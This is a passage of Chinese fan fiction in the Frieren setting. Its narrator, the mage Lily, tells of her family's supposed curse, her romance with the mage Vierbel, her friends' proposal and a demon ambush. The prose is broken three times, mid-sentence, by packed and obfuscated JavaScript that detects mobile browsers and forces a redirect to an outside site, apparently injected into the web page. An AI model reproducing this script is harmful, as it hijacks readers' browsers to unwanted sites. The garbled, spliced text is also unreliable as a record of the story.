后来女人日渐消瘦,在生下一个孩子不久后撒手人寰,而她的丈夫因此变得疯疯癫癫,最终于某日自杀身亡——这就是我曾祖们的故事。 再后来,他们的孩子长大了,入赘到了我的祖母家,然后在某天深夜,魔物袭击了这个家庭,只有年幼的孩子幸免于难……之后我的父亲被人收养,离开了这座小镇,直到养父母离世,他才返回曾祖父的祖宅。 从曾祖父的日记中,父亲得知了所谓的“诅咒”,他不敢交友,更不敢结婚。直到三十多岁的时候,他遇到了我的母亲,母亲并不相信诅咒,她说服了他,因此有了我的出生。 在我尚未记事的某个冬日,父亲出门工作,而我忽然发起了高烧,母亲冒着大雪出门找药,结果遭遇了强盗。等到父亲带着我闻讯赶来的时候,只看到了她的遗体。 我忽然就记事了。 那时候的我烧得晕晕乎乎的,流着泪看向雪地里的红色,完全不理解眼前发生的事情。我甚至不清楚眼泪是什么,以为是天上落下的水滴。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635531|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 几年后,父亲给了我一个箱子,找了个借口打发我出门,等到我意识到不对跑回来的时候,精神崩溃的他和我家的祖宅一起消失在了大火之中。 ……诅咒?魔法? 箱子里有一些钱,一支陌生的法杖,以及一本日记。 我从日记中获知了真相。 其实我觉得那位大魔族所说的话未必是真的,因为我觉得她好像是在做什么实验一样,她在研究人类,但充满了恶趣味。我想我的曾祖母应该是因为宾客们的死亡而愧疚不已,郁郁寡欢,最终身体每况愈下,死于产后并发症。 我不相信所谓的诅咒。而且比起怀疑这个,我更怀疑我们家可能有什么精神类遗传疾病,或者说是抗压能力比较弱,尤其是男性…… 就算真的有诅咒又怎么样,反正我已经孤身一人,我才不怕呢。 “……诅咒的内容是什么?”维亚贝鲁问道。 “在意的人会早早死掉,”我避开他的目光,补上了后半句话,“尤其是喜欢的人。” 27. 多么荒诞,杀死人类的是“爱”。 正在结婚的年轻人啊,你深爱你的妻子吧?如果有一天她死了,那就是你害死的哦。如果你不想让别人因你而死,那就放下多余的情感。不要去喜欢,不要去爱,孤零零地过完可怜的一生吧。 因为以前我没想过会和别人建立羁绊,所以米娅和卢卡斯邀请我加入他们的时候,我第一时间把这个诅咒告诉了他们。一方面是因为我觉得不说不太好,另一方面也是我想要看看他们的态度。 “不用在意这种事情。”卢卡斯说,“米娅会用女神的治疗魔法,即使我们会受伤,也都能及时得到治愈。” “是哦。”米娅对我伸出手,“我们不会被轻易杀死的,相信你的同伴们吧,莉莉。” 我握住了米娅的手。 就像他们说的那样,米娅在我身边的时候,我从不会记起这个诅咒。但我现在想起来了,并为此感到害怕。 因为米娅不在,更因为我在“在意”的人之外,第一次拥有了“喜欢”的人。 他是因为我才受伤的。 如果哪天维亚贝鲁死了,会不会是我波及的呢? “……” 维亚贝鲁叹了口气。 “你居然想过自己过一辈子。”他按了按额头,“其实你才是吧,温柔又善良的人……总之我知道了,放心好了,不要在意魔族说的那些鬼话,我会活得好好的,不会被那种可笑的诅咒害死。” 骗人。 就算他很厉害,命很大,但就他这种不会对眼前的事情视而不见的风格(简直像是传说中的勇者辛美尔大人),他肯定会出事。还有,这人根本就不怕死吧,就他那个把受伤当成小伤的态度,感觉他根本不够爱惜自己。 维亚贝鲁用一种很奇妙的眼神看着我,感觉他有些惊讶,但似乎又有些想笑。 搞不懂他。 旅馆已经近在眼前,维亚贝鲁侧了侧身,替我挡了一下屋檐上落下的雪。 “如你所说,虽然我不想死,但我确实不怕死,也经历过几次险些送命的时刻……”他顿了顿,说道,“嗯……听到你用辛美尔来形容我,我挺开心的。” 在维亚贝鲁看来,他之所以会受伤,归根结底是因为他还不够强大,所以他会变得更厉害,他会成为一级魔法使,然后活上很久。 ……就当是为了我? “嗯,就算我还是会受伤,但在下次快要送命的时候,我会因为想到你……”他拉开了旅馆的门,让我先进去,“然后我会活下去。” “让诅咒彻底滚蛋吧。” 我吸了吸鼻子。 旅馆里很是温暖,温暖得让人想要再次落泪。 “欢迎回来——哇怎么回事,维亚贝鲁你受伤了?!”卢卡斯大呼小叫起来,“米娅,米娅!你快过来,有伤员!” “把眼泪留到在卢卡斯对米娅求婚的时候喜极而泣吧。”维亚贝鲁揉了揉我的头发,“千万别再哭了,不然我会感觉自己很差劲。” 我说好的,然后在米娅跑下楼的时候抱住她大哭。 “怎么了怎么了?”卢卡斯慌乱起来,“维亚贝鲁不会快要死了吧?” 在米娅给我擦眼泪的时候,我听到维亚贝鲁让卢卡斯不要乱讲。 维亚贝鲁还说,他可不是那种会轻易食言的人。 7. The End(七) 28. 卢卡斯想了好几种求婚方式,我在听完之后建议他选择地点是时钟塔的那个。 时钟塔是这座城市重要的建筑象征,外表精美华丽,而在民间传说中,钟是神圣的物件,更添一层特殊意义。最重要的是,这座钟塔是在废弃的天文台的旧址上重建的——傍晚的时候今晚的天气很好,适合仰望夜空。 我收起法杖,得意地指着面前的羊皮纸:“看,将纸张变得透明的魔法,我发明的哦。” “好厉害。”卢卡斯很捧场地鼓掌,“接下来我在上面写字就可以了是吗?” 没错,把透明的纸张剪成圆形,在上面写下求婚的话语,然后将它贴到钟塔内部的观测镜的镜片上,最后再把观测镜对准月亮所在的位置。米娅钟爱一切浪漫元素,只要对她说今晚的夜色十分特别,她一定会答应赏月的邀请,随后只要让她使用观测镜就可以了。 想象一下,银装素裹,月色如水,镜片背后照亮这个世界的圆月上居然浮现出爱人的情话。米娅诧异地转身,身后的卢卡斯单膝跪下,奉上和她眼眸颜色一致的水晶戒指……多么美好的一幕,我敢说这绝对符合很多女孩子在少女时期的幻想。 而且这个场景也很符合卢卡斯的名字,我记得他的名字有着“光明”的含义来着。哎呀呀,我可真是个天才。 米娅今天被我拉去服装店买新衣服了,我是假装忘记带钱袋趁机溜回来给卢卡斯报信的——在对我千恩万谢过后,卢卡斯一脸紧张地出门去找米娅了,而我和一起被叫来讨论的维亚贝鲁仍留在小旅馆的一楼。 面前的桌面被人用手指轻轻地敲了两下,是维亚贝鲁。 “你不打算再出门了?” 我有些不理解他为什么这么问。 忘记带钱袋只是个借口,交给带着钱袋的卢卡斯圆上就可以了,接下来是他和米娅的场合,我似乎没有登场的必要吧? “不是他们俩,而是你。”他说,“你不买新衣服了?” 但我是为了让米娅在重要的时刻穿着好看的衣服,才拉着她去服装店的啊。 “笨蛋——之后他们还会回来的啊,卢卡斯还想要和我们分享他的酒呢。”维亚贝鲁说道,“他们俩对你来说很重要吧,在朋友们如此重要的时刻,你不想打扮得漂漂亮亮的,为自己的人生留下一些特别的回忆?” ……好像有点道理,可是这样不会显得有点喧宾夺主吗? 见我还在思考,维亚贝鲁重重地叹了口气,有些无奈:“就非得要我说我们队里其实有人会留影魔法吗?” 啊,是那种能够把人的外貌记录在特殊的物件上的罕见魔法吗? “是啊。”他说,“我以为你会喜欢……” “喜欢!我喜欢的!”我立刻拉住了他的手臂,“谢谢你,维亚贝鲁!我还从来都没见过这种魔法呢,让我们——” 虽然我留有双亲的画像,但他们已经走了很多年,尤其是母亲,那时我太小了,所以她在我心里就只是被画出来的模样。我不想等到自己垂垂老矣时,对朋友们的印象模糊成不够真切的画像,也不想让别人逐渐忘记我……在我看来,留影魔法是我认为最伟大的魔法之一,它是能够镌刻时间的艺术。 “让我们——” “一起留住时间吧!” 29. 从商店里出来的时候,天空已经暗了下来。 “不知道卢卡斯那边怎么样了……”我难免有些挂念,很担心卢卡斯会不会忘词,或者在其他地方出现差错。 维亚贝鲁让我放心,说一定会顺利地。我问他为什么这么确定,他笑了一下,说那是因为无论是求婚的当事人卢卡斯,还是在背后出谋划策的我,我们都非常了解米娅——既然我们两个都觉得很浪漫,那米娅自然也会这么想。 嗯!很有道理。 维亚贝鲁还说,其实某种程度上,让纸张变透明的魔法比留影魔法更罕见。 嘛,也是,毕竟后者是难度高,而前者听起来很闲。 他问我是怎么想出这种魔法的,我说纸张在浸油之后不是会变得透明嘛,于是我就想着或许可以直接让纸变得透明,这样它的透光性就会很好,可以盖在雕像或者油画上……然后我就琢磨出来了。 如果他想学,我可以教他哦? 维亚贝鲁摆了摆手,说他才不要学,虽然这种魔法听起来很少见,但学了也派不上用场吧。 我说不能这么说,魔法这种存在就是有备无患的,哪天说不定就能发挥作用,比如在卢卡斯的求婚上就是很重要的一环——如果在未来的某日,他也想效仿这种经典的浪漫求婚模式,那最好还是提前学学。 身旁的人嗤笑一声:“没必要。” ……哼,不识好歹,我不是说过嘛,这绝对符合很多女孩子在少女时期的幻想。无论是哪个女孩子,看到喜欢的人对自己这样用心,都会觉得惊喜的。 维亚贝鲁停下了脚步。 天色已晚,我有点看不清他望着我的目光里究竟包含着怎样的情绪,但直觉告诉我,他好像有点不高兴。 “怎么了?”我也停了下来。 “哦,所以‘很多女孩子’里包括你吗?”他说,语气听起来很随意。 我怔了怔。 什么意思? “没什么,只是因为每个人所偏爱的都不一样,不能一概而论。”维亚贝鲁说道,“所以就问问你。” “莉莉,你幻想过的场景是什么样的?” “……” 铛——铛—— 整点的钟声响起,悠长的声响在逐渐静谧的城市中传得很远,我抬头看过去,望见了钟塔之上高悬的月亮。 说实话,我没有想象过这种事情,虽然现在想一下也不迟。 那么,比起月色,我应该更喜欢…… “日出。”我听到自己这样说。 钟表转到夜里十二点的时候,新的一天开启。但对我来说,一天的“The End”是在夜色彻底结束的时刻,也就是太阳升起,让世界变得明亮起来的时候。 而且维亚贝鲁说过,我的眼睛像金色的太阳。 维亚贝鲁“哦”了一声,说那还真是有点麻烦。 麻烦什么? 维亚贝鲁说,日出和日落可不一样,很多时候日落是无意间看到的,日出却是要特意去看的,毕竟那需要起得很早。 “跟你一起看日出的人应该很忙吧。”他的声音里有一些笑意,“忙得不知道是该看天上的太阳,还是身旁的。” 30. 卢卡斯和米娅回到小旅馆的时候,楼下相当热闹。 桌椅被堆到了一边,旅馆的老板和其他住在这里的客人们都特意等在这里送祝福,北部魔法队的队员也各显神通,有人变出纷纷扬扬的花瓣洒下来,还有人找出了管风琴、木吉他等乐器,当场演奏起来。 米娅看到我的新裙子后跑过来给了我一个拥抱,然后拉着我去跳舞,卢卡斯则是借了个手鼓,一边拍着一边唱起了家乡的歌。其他人见状也纷纷加入其中,大家说说笑笑,载歌载舞,像是在举办节日庆典一样。 一开始气氛还没被炒热的时候,我有些束手束脚。因为我不是很擅长跳舞,再加上新买的裙子的裙摆比较长,我不是在担心自己会踩到米娅的脚,就是在担心自己被裙子绊倒。 米娅好像对我说了句什么,但我心不在焉的,直接左耳进右耳出了。直到她带着我从室内的一端跳到了另一端,然后拉着我转了一圈,把我轻轻地转到了另一个人面前的时候,我这才回过神来。 或许是因为他的级别比较高,队员们不敢擅自拉他加入,又或许是因为他不是喜欢凑热闹的性格——维亚贝鲁此刻正靠在边上看着大家。墙上的油灯在他身上落下暖黄色的光,让他整个人看起来都暖融融的,包括他此刻望向我的目光。 ……他在想什么呢? 我不由得晃了个神,结果一下子踩到了裙角,慌乱间朝着他跌了过去。 “当心!” 维亚贝鲁一惊,伸手接住了我。 他扶住了我的腰间,而我也握住了他的手臂。 仓促间,我们抬头对视。 我眨了眨眼睛,感觉心脏像是被风吹拂的烛火,明明灭灭,七上八下。 “我要去跟卢卡斯跳舞了。”身后传来米娅的声音,我回头看过去,看到她朝我扬起一个笑容。于是我忽然就记起来了,在刚才跳舞时,她对我说的话是—— “未来固然重要,但也要及时享受当下哦。” “……” 目送着米娅混入人群后,我偏过头来,目光落在了他的手臂上:“维亚贝鲁……” “……哦,抱歉。”青年像是被烫了一下似的,迅速地收回了手。 周围是喧闹的,自由的,我们所处的角落却相当安静。 这很奇怪,我想。明明我们之前也有过别的肢体接触,他甚至还帮我擦过眼泪,为什么现在却会因为这样的触碰而感到不自在呢? “你为什么自己站在这边?”我随便找了个话题。 他说只是习惯了留一个人站岗。 原来如此……确实,在所有人都沉浸在欢乐的氛围中时,留一个人保持警觉是正确的,这样在遇到突发情况时才能及时应对。 额头忽然被人轻轻地弹了一下。 我疑惑地看了过去,却看到维亚贝鲁在笑:“你真信了啊?没想到我还能骗到你。” 他说这里可是提尤亚,是大城市,有着伏拉梅大人留下的古老的结界,魔族和魔物都无法进入城内,不会有什么突发情况的。 诶,那他为什么—— “因为我是他们之中最年长的,而且是队长。”他解释道,“多少还是要顾及一下形象。” 是吗?那他还真是一个可怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635532|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又辛苦的大人。 我想了想,对他伸出手。 维亚贝鲁挑眉:“你这是?” “只要你不是主动的,而是被动的,就没问题了。”我笑眯眯地说道,“维亚贝鲁只是一个被年轻的小女孩缠到不耐烦,于是被迫陪她玩耍的好心人。” 虽然我的裙子很长,但我相信在我被绊倒的时候,维亚贝鲁一定会接住我。 维亚贝鲁怔了怔,旋即笑了出来。 他把我的手按了下去:“我想了想,在你这里,我被动的时候好像有点太多了。” ……所以? 面前的人向我伸出手,做出邀请的姿势。 “可以和你跳支舞吗,莉莉小姐?” 31. 那天所有人都睡得很晚。虽然很多人都不会跳舞,大家只是在摇摆,但这里又不是宫廷,只是一间普通的小酒馆,好好享受当下就可以啦。 有客人问卢卡斯要不要去教会办一下结婚仪式,说是和这里的神父很熟,可以让他和米娅插队。卢卡斯乐呵呵地说都听米娅的,米娅说不急,她想等到未来回到自己的家乡时再补这个仪式,事实上这种事情根本就不重要。 “大家现在不就是在我们的婚礼现场和我们一起庆祝吗?”她笑道。 是哦!那么,让我们祝福这对新人吧! 那个会用留影魔法的队员问我们要怎么留影,机会难得,可以多来几份。我以为米娅会先和卢卡斯单独纪念一下,没想到她直接把我拉到他们俩中间站着,说一家人要整整齐齐,先来张大合照吧,一式三份,谢谢。 现场乱哄哄的,好多人都想要留影,米娅本来想让那个队员帮我和维亚贝鲁留影,结果他说他在之前就已经记录过了。之后卢卡斯和米娅请大家喝了酒,唯独给我和维亚贝鲁的酒是事先说好的,由卢卡斯酿的梅子酒。 “干杯!!” 我悄悄地问维亚贝鲁感想,他悄悄地跟我说,太酸了。 没办法嘛,米娅喜欢酸口。 微醺的宾客们接二连三地回房睡觉,而因为梅子酒太酸而在慢慢品尝的我和维亚贝鲁反而成了最清醒的人。 “维亚贝鲁。”我忍不住问他,“之前在围观其他人载歌载舞的时候,你在想什么?” “没什么,就是发现有人不擅长跳舞,很想笑而已。”维亚贝鲁晃着手里的酒杯,懒洋洋地说道,“你知道吗?偶尔有时候你的脸颊会红扑扑的,是因为紧张吗……” 我想说我才不会因为紧张而脸红,但他的话语忽然顿住了。 因为他那喝迷糊了的队员忽然递过来一份留影,那是我差点被裙子绊倒,维亚贝鲁接住我的那一幕。 那一幕的我……脸颊红扑扑的。 “……” 在当时的我看来,那是一个相当仓促的对视,我本来就有点没过神来,又因为差点绊倒,既慌张又窘迫,没想到从另一个视角去看,竟有种说不出来的奇妙的感觉…… 于是我说,我没有紧张,我只是害羞。 “啊,是吗。”维亚贝鲁这样说着,像是为了掩饰心情一样,猛地喝了一口酒,然后被酸到皱眉。我问他是不是也害羞了,他说才没有。 米娅在回房间之前跑过来亲了一下我的脸颊。她喝得有点多了,甚至把给我的生日礼物提前塞给了我,说话也有点语无伦次:“莉莉,一直以来都很感谢你,谢谢你的水晶,我知道你每次用赋予魔法都会消耗很多魔力。” 她抱着我说:“谢谢你,亲爱的……你绝对不是什么被诅咒的人,从第一次见到你的时候我就知道,你很有天赋,是我们之中最前途无量的那个……好孩子,你一定会幸福的。” ……是吗? 我无措地看向维亚贝鲁,维亚贝鲁转头把卢卡斯拉了过来。 卢卡斯瞧着恍恍惚惚的,似乎也不太清醒:“既然米娅……那我也……”他走过来扶米娅,然后回头对我说道,“莉莉,明天不下雪的时候,可以拜托你清理一下旅馆屋顶的积雪吗?” 我有些莫名其妙,但还是点头说好。 等到这俩人上楼之后,我看向米娅塞给我的小盒子,决定打开它,维亚贝鲁也凑过来看,发现她送了我一对闪闪发光的耳饰。 “可你不是没有耳洞吗?”他疑惑道。 我摸了摸柔软的耳垂,想起来我在来到这里的第一天因为看到了维亚贝鲁,而随口对米娅嘀说的那句“看得我都有点想打耳洞了”。 “大概是因为米娅太了解我喜欢什么了。”我回答道。 “是吗?可是之前也没见你打过啊。”他说,“别太勉强自己。” 哦,看来他以为我会因为米娅想让我打耳洞而去打…… “就不能是因为你而‘爱屋及乌’吗?”我盖上小盒子,看他。 “就算是因为我,你也不能做自己不想做的事。”维亚贝鲁说道。 ……哎呀。 8. The End(八) 32. 第二天上午一直在下雪,等到下午雪停了的时候,我立刻爬上屋顶去清理积雪。维亚贝鲁从外面回来时看到我还在上面,于是上来帮忙。 “你居然冒着雪出门了,是有什么重要的事吗?”我随口问他。 然后得到了“算是吧”的潦草的回答。 我:? 好敷衍,肯定在瞒着我什么…… “说起来,来到这里也有一个月了,这场寒潮要结束了吧。”维亚贝鲁铲起一块结成冰的雪块,“你们有想好之后去哪吗?” “应该会回一趟他们俩的家乡。”我偷了个懒,在掌心上捏了个小雪人,“你知道的,距离下次一级魔法使的测验还有两年。” 由于北方诸国局势不断恶化,普通人想要继续向北必须得有一级魔法使同行,然而一级魔法使的测验三年才有一次。其实我完全可以去参加上一次的测验,但米娅和卢卡斯都建议我再积累一些实战经验,先从三级升到二级。 “毕竟一级测验的难度太高了,每次都会出现伤亡现象,有时候还会有全员未通过的情况。”维亚贝鲁赞同道,“为了一场测验把自己给搭进去,不值当。” 我“嗯”了一声,感觉这个话题有点微妙。 怎么,是在琢磨怎么跟我告别了吗?现在就聊这种话题还有点早吧? “维亚贝鲁。”我回头看他,“可以问你一个问题吗?” 然而不等我继续说些什么,维亚贝鲁就指了指天空:“等一下,你看那里!” 我疑惑地看过去,然后惊讶地发现有什么东西在朝着我们俩这里飞过来——是鸟吗?但形状不太像,而且大小也不对,它看起来更大,也更轻盈。 飞过来的方向是……啊,时钟塔? 我猛然回头,看向维亚贝鲁:“你和卢卡斯——” 所以他才冒雪出门了吗?! “轨迹固定魔法。”维亚贝鲁望着远处说道,“在这种天气让它卡着时间按照预定的轨迹飞过来,确实费了我们一番工夫……所以,就不要让它被别人捡走了吧。” “……” 我变出法杖,让自己飞到了空中。 然后在整点的钟声响起时,轻飘飘的风筝线落在了我的手中。 风筝的终点是我。 原来如此……因为米娅已经提前送了我生日礼物,所以卢卡斯也想要这么做,而他准备的礼物就是我提醒过的,他家乡的传统。 由风筝带来的祝福。 我带着风筝降落在了屋顶上,维亚贝鲁先让我看布条上写的内容,然后又想起来我之前对他说有问题要问他:“你想问我什么?” 看过布条上写的内容,我弯了弯嘴角,抬头看向维亚贝鲁。 “没什么,就是想问问你……你现在觉得我们算互相了解了吗?”第一次和他对话时,他说过的——这种事情至少应该建立在互相了解的基础上。 钟声响彻过后,街道又安静了下来。 维亚贝鲁替我拢了拢被冷风吹乱的长发,然后叹了口气,让我不要用这样亮晶晶的目光看着他,这样他很难回答。 33. 好吧,那我现在把眼睛闭上,不会偷偷睁开的,别害羞,请回答。 我听到他笑了一声。 维亚贝鲁好像帮我戴上了什么东西,因为我能感受到有微凉的存在触碰到了我的发丝和耳朵,最后落在了我的身前。 ……哦!难道是之前说好的吊坠? “答对了。”维亚贝鲁说道,“睁开眼睛吧。” 我立刻睁开眼睛,低头看过去。 小小的、金色的太阳,属于我的。 在他眼里,我的眼睛是这样明亮吗? 我握住吊坠,语气里不免有几分嗔怪:“你也学他们提前送我生日礼物啊。” “嗯?”维亚贝鲁的声音从身侧传来,“这不是生日礼物。” 可是在店里的时候,他就是这么说的呀! 我惊讶地看向他:“你想耍赖?” “哈?唉。”维亚贝鲁抓了抓头发,瞧着有些烦躁,也有些无奈,许是被寒风吹的,脸颊有些发红,“怎么这时候你突然就不机灵了呢?” 嗯? 不是生日礼物。 ……啊。 我睁大了眼睛:“定、定情——” “对。”他快速地打断了我的话,脸颊红扑扑的,“定情信物。但如果你不想接受……” “……” 我直接转身,扑过去抱住了他。 “喂小心点,还有雪没清理干净——” “维亚贝鲁!”我打断他的话,高兴地看着他,“你喜欢我啦?你喜欢我啦——是吗?维亚贝鲁?”看来我这一个月来的甜言蜜语果然有用,他终于感受到了我的真诚! “……笨蛋,这跟那些话没关系。”维亚贝鲁说道,我靠在他怀里,感受到心跳在同频,耳边是他的回答,“只要了解你之后,就会知道你拥有很多可贵的品质。” 会因为占卜的结果而编造善意的谎言,把珍贵的好运石送出去,只为了保护他人的家庭;明明自己经历了那样的事情,却依然在努力生活,热情而乐观;还会对朋友们永远尽心尽力,甚至会由于虚无缥缈的诅咒而想过孤身一人……善良又温柔,而且很勇敢。 是吗?可是我也很幼稚,很任性哦,我会把他和甜食相提并论,还会要求他注视着我,会因为一点小事就流眼泪,还很需要别人照顾,而且功利心很强,谎话也是张口就来……虽然说不定他就喜欢这样可爱又鲜活的人,但我还是要进行一下免责声明。 我并不是什么完美的人。 “怎么会有人一边批评自己又一边自夸啊,真有你的……”维亚贝鲁笑了一声,随后语气认真起来,“你说你不完美,那么,难道我算是什么很完美的人吗?” ……诶? 维亚贝鲁说,为了取得胜利,他经常会用一些卑劣的魔法,可谓是不择手段。 我说这有什么,如果这样能够保护更多人,那我也会这么做。生命的重量大于一切,谁在战场上讲道德啊。 维亚贝鲁沉默了一下,又说虽然北部魔法队是专门对付魔王残党的佣兵,但他也曾被征调过去参加国家之间的战争。卢卡斯说他身上有血的味道是没错的,他确实也对普通人动过手,甚至包括女人和小孩。如果灵魂会因为杀戮而区分归处,他说不定会在死后得到惩罚……尽管他并不相信这种事情。他只是这样对我说而已。 哦对,他甚至还晕船,晕得死去活来的那种,这可真是致命的弱点。 我眨了眨眼睛。 初见时我觉得他危险又迷人,但此刻的他,似乎对我展现出了不为人知的一面,有一点犹豫,也有一点脆弱……仍旧很迷人,我想。为了守护自己想守护的,他明明连死都不怕,却对我说这些内容,是不想让我做后悔的决定吧。 定情信物我都收了! 在庞大的国家面前,谁都只是被卷入战争的普通人,而且他又不是在滥杀,更没有因此而感到快乐……只要不把自己当成工具,还认为自己是“人”就好。 “那就去救更多的人。”我看向他,“我会和你一起的。” 然后晕船这种小事情,我也会帮他解决的! “……” 维亚贝鲁没有说话,只是看着我的眼睛。 不知不觉间,天空又开始飘雪。有一片雪落到了我的睫毛上,有点凉,我下意识地眨了下眼睛,结果它因此融化, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635533|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不由得想,雪花变成了嵌在我眼角的泪珠。 “我可以吻你吗,莉莉?”他说。 我说好呀。 于是雪花彻底消融。 ……后来我们俩都感冒了。 34. 海上没有飘雪,因为季节不对,但夜晚还是很冷。 为了不重蹈那天感冒的覆辙,我提议我们先去餐厅待一会,我在去甲板之前去过了那里,让侍者专门为我们留了灯。 反正距离日出的时间还有很久。 “……这不是那什么吗,提神剂?”维亚贝鲁盯着我从餐台后面拿出的瓶子,“你又骗我?” “其实也没错。”我把瓶子里的液体倒进了酒杯里,转身递给他,“尝一尝,看看比起当年的味道如何?” 他还没尝,就已经恍然大悟:“卢卡斯送给你的配方。” 我点了点头,把瓶子里剩下的那一半倒进了另一个杯子:“米娅说得对,卢卡斯的配方果然有问题……酿出来的酒太少啦,根本不够分的。” 玻璃杯轻轻碰撞,发出清脆的声响。 “维亚贝鲁,干杯。”我说。 “干杯。” 回忆再次浮现。 “干杯!!” ……如果那场大雪永远在下就好了。 “说实话,比卢卡斯酿得好喝。”维亚贝鲁点评道,“你这份的味道要更甜一些。” “毕竟米娅喜欢酸……”话说到一半,我顿住了,又喝了一口酒。 “你上次的信里并没有提到你有见过芙莉莲。”他说,“你是因为她说的话,才重新来到北方的吧?她对你说了什么,是诅咒吗……” 我点了点头。 “看来你不知道,同样的问题我在当年就已经回答过了。”精灵少女说道,“从魔法的痕迹上来看,你们家族的人身上……” “没有任何诅咒。” 尽管我因此回到了北方,再次见到了维亚贝鲁,但我并没有因为这句话而如释重负,因为这依然是个坏消息。 “维亚贝鲁,这说明我无能。”我咬住嘴唇,眼泪控制不住地落下来。 “……别这样。”维亚贝鲁低声道,“那不是你的错。” 今年我24岁,和卢卡斯同龄,明年就要超过他了。而我比米娅更年长,我已经从米娅的妹妹变成了她的姐姐。 ……如果雪花永不会融化,就不会只有我被留下。 不是诅咒害死了米娅和卢卡斯,而是因为我太弱小了——尽管我意识到了击败那个大魔族的方法,却依然无计可施。 因为在战斗正式打响之前,我就被她重伤了。 如果不是我要来提尤亚…… “那两只幻影鬼对你说了什么?”维亚贝鲁握住了我的手,“依照他们的性格,他们一定不会指责你。” 是这样,米娅和卢卡斯永远不可能指责我。 即使活下来的只有我。 其实我不怕他们责备我,因为那样我反而知道那不是他们,那只是虚假的幻影。然而我看到的幻影对我说—— “莉莉,不要报仇。” ……是米娅啊,这就是我最熟悉的米娅。 于是我落荒而逃。 五年来,我每天都在比以往更认真地生活。我练习魔法,我追逐强大,我替米娅和卢卡斯回了家乡,去了他们没去过的地方……我想要为他们报仇。哪怕我知道即使我已经变强了,我还是很难独自打败那个大魔族,我会死。 可我又能怎么办?我如何能放下?! 米娅本来是能活下来的,她是女神大人所承认的信徒,是被神圣的钟声所祝福过的人,……活下来的人不应该是我! 时隔五年,我又一次崩溃大哭。 9. The End(九) 35. 寒潮结束的第二日,我和卢卡斯、米娅一起离开了提尤亚。尽管米娅说我如果想要跟着北部魔法队行动也可以留下,或者他们再陪我走一段路,但我还是果断与维亚贝鲁告别,选择了和他们同行——从这里到他们的家乡可是有很远呢,没有我陪着,我才不放心。 再说了,他们俩现在肯定也很想回去给亲人扫墓吧,怎么能因为我的事情而有所耽误呢? “反正还可以写信,虽然时效性差一些,但距离不是问题啦。”我说,“而且之后我还会再回到北方的。” 那天出行之前,我曾为我们的出行进行过占卜,但不知道是怎么回事,我的占卜诡异地失灵了——明明天空晴空万里,占卜却说接下来有雨,反正哪怕是再简单的事都被算出了不好的走向。卢卡斯说这种事情出现差错也很正常,米娅也安慰我不要在意。 但现在想来,或许那也是一种阻挠我前进的预兆吧…… 在离开城市半天后,就在它不远处的一片森林中,当我探知到对方刻意释放给我探查的魔力,变出法杖准备战斗时,一切已经为时已晚——强烈的痛楚袭击了我,我的肩部被用魔力制造的飞剑贯穿了。 ……好快! “莉莉?!” 在我身旁的米娅一把接住了我,而卢卡斯也瞬间进入了警戒状态。 是魔族! 好强大的魔力量……而且用防御魔法免疫了我的反击。 魔族怎么会用人类魔法使的防御魔法? “……米娅,快、快逃。”注视着从树后走出来的身影,我低声对为我治疗的米娅说道,“我们恐怕不是对手。” “你叫莉莉是吧?反应速度很快呢。抱歉,为了不影响我们之间的谈话,率先对你出手啦……主要是你的法杖看起来实在有点眼熟,让我忍不住手痒呢。”那名外表是少女模样的魔族说道,“莉莉的朋友们,别那么警惕,我没有痛下杀手哦,而且你们之中也有修女,她暂时不会死。” “……” 法杖? 难道说—— “你有什么目的?”卢卡斯问道。 “好像忘了自我介绍。我是大魔族索莉缇尔,请多关照。”魔族说道,“金色的眼睛,百合花法杖……这位莉莉小姐,你家里是不是被诅咒了呢?” ……果然!! 这个叫索莉缇尔的魔族就是当年在我的曾祖父母的婚礼上大搞屠杀的魔族……更可怕的是,我从未听过她的名字。现存的大魔族在书上都有记载,而没人知道她的名字的原因恐怕在于……听过她自我介绍的人类都被杀掉了。 不,我绝对不能让米娅和卢卡斯死在这里,哪怕拼上我的性命……卢卡斯才对米娅求婚,他们是要开始幸福生活的人,绝对不能…… 米娅的反应也很快,她立刻意识到了对方是谁。 “其实,并没有这种诅咒吧。”米娅冷声道,“你的身上有欺骗的味道。” “这位小姐,你叫什么名字?你的故乡是南方诸国吗?你戴着戒指呢……哦,旁边这个男人是你的恋人吗?”索莉缇尔自顾自地对米娅说道,“我很喜欢和人类聊天,只是他们总是不太配合。其中那些特别不配合的人,就会被我记住,就比如这个法杖曾经的使用者……可我只是想了解人类而已。” “看起来,你们和莉莉小姐的关系很好。”她忽然露出一个笑容,“那么,我想你们很快就会知道这个诅咒是真是假了。” 米娅用治疗魔法为我止住了血,她还给我灌了一瓶她自己配置的止痛药剂。疼痛感得到缓解,我冷静了一些,思考着如何战斗。 